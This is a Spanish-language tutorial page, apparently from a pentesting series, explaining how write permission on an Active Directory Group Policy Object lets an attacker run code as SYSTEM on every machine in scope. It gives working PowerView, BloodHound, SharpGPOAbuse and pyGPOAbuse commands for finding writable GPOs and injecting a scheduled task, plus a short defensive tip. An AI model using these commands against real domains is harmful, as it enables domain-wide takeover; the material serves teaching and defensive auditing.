Escalada

Abuso de GPO (Group Policy Object)

Cómo un permiso de escritura sobre una GPO ejecuta código como SYSTEM en cada equipo dentro de su alcance.

Qué es

El abuso de GPO usa un permiso de escritura sobre un objeto de directiva de grupo para ejecutar código en cada equipo dentro de su alcance. Una sola escritura llega a decenas o cientos de máquinas, con privilegios SYSTEM.

Cómo funciona

Las directivas de grupo entregan configuración a los equipos por el canal estándar de Windows. Cada equipo del alcance refresca la directiva cada 90 a 120 minutos y aplica lo que encuentra, con privilegios SYSTEM. Con permiso de escritura sobre la GPO, el atacante añade una tarea programada inmediata. El payload se escribe en SYSVOL, replica a los Domain Controllers y corre como SYSTEM en el siguiente refresco. El sistema no separa un cambio del administrador de uno del atacante: es el mismo canal de directiva. El alcance define el impacto: una GPO enlazada a la OU de Domain Controllers ejecuta en cada DC.

Diagrama

Comandos

Buscar quién tiene escritura sobre las GPO, con PowerView:

Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl|GenericWrite|GenericAll' }

Recolectar el dominio para mapear las aristas de escritura en BloodHound:

bloodhound-python -d <DOMAIN> -u <USER> -p <PASSWORD> -c All -ns <IP>

Añadir una tarea programada inmediata a la GPO, desde Windows con SharpGPOAbuse:

SharpGPOAbuse.exe --AddComputerTask --TaskName "<TASK>" --Author <DOMAIN>\<USER> --Command "cmd.exe" --Arguments "/c <COMMAND>" --GPOName "<GPO>"

Lo mismo desde Linux con pyGPOAbuse:

pygpoabuse.py <DOMAIN>/<USER>:<PASSWORD> -gpo-id <GPO-ID> -command "<COMMAND>"

Forzar el refresco en un equipo que controlas, o esperar el ciclo normal:

gpupdate /force

Cómo defenderse

Audita las DACL de cada GPO y quita el permiso de escritura sin justificación, sobre todo en las enlazadas a Domain Controllers.

Siguiente

Puedes seguir leyendo aquí:

EscaladaAbuso de Constrained Delegation

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.